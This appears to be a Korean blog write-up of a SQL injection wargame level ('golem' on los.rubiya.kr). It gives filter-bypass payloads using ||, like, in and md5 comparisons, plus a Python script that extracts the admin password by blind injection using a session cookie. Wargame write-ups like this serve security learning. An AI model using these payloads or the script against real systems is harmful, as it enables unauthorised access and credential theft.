PW에 or, and, substr(, = 등이 필터링이 되어있다. 그리고 쿼리의 결과값이 admin이여야 하고 admin의 PW도 일치 해야 한다.
먼저 PW쪽 파라미터를 통해서 쿼리 결과값의 ID값을 admin으로 만들어 출력하고 그 후에 Blind SQL Injection을 통해서 PW 까지 같이 뽑아오면 된다.
ID값을 admin으로 만들어 보자.
pw='||id like 'admin'#
pw='||id in ('admin')#
= like in 이 필터링 되었을 때 >,< 등을 통해서도 가능.
pw='||md5(id)>'21232f297a57a5a743894a0e4a801fc2'&&md5(id)<'21232f297a57a5a743894a0e4a801fc4'#
이제 그뒤로는 PW를 추출하도록 만들면 된다.
pw='||id like 'admin'&&length(pw)> ?# 를 통해 길이를 구한후
pw='||id like 'admin'&&ascii(mid(pw,?,1))&? like ?# 를 통해 PW 값을 구한다.
Payload
#coding:utf-8
import urllib2
import ssl
opener = urllib2.build_opener(urllib2.HTTPSHandler(context=ssl.SSLContext(ssl.PROTOCOL_TLSv1)))
urllib2.install_opener(opener)
url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?"
sess="4hqu7lpapeslgg180htc7dtrh3" # Your sessionid
for i in range(1,9):
bin = pow(2,8) # 128
str=0
while bin >= 1:
query="pw=%27||id+like+'admin'%26%26ascii(mid(pw,{},1))%26{}+like+{}%23".format(i,bin,bin)
req=urllib2.Request(url+query)
req.add_header("Cookie","PHPSESSID="+sess)
read=urllib2.urlopen(req).read()
if(read.find("Hello admin
") != -1):
str+=bin
bin/=2
print chr(str),
| los.rubiya.kr/skeleton (0) | 2018.12.28 |
|---|---|
| los.rubiya.kr/vampire (0) | 2018.12.24 |
| los.rubiya.kr/troll (0) | 2018.11.15 |
| los.rubiya.kr/orge (0) | 2018.11.15 |
| los.rubiya.kr/darkelf (0) | 2018.11.15 |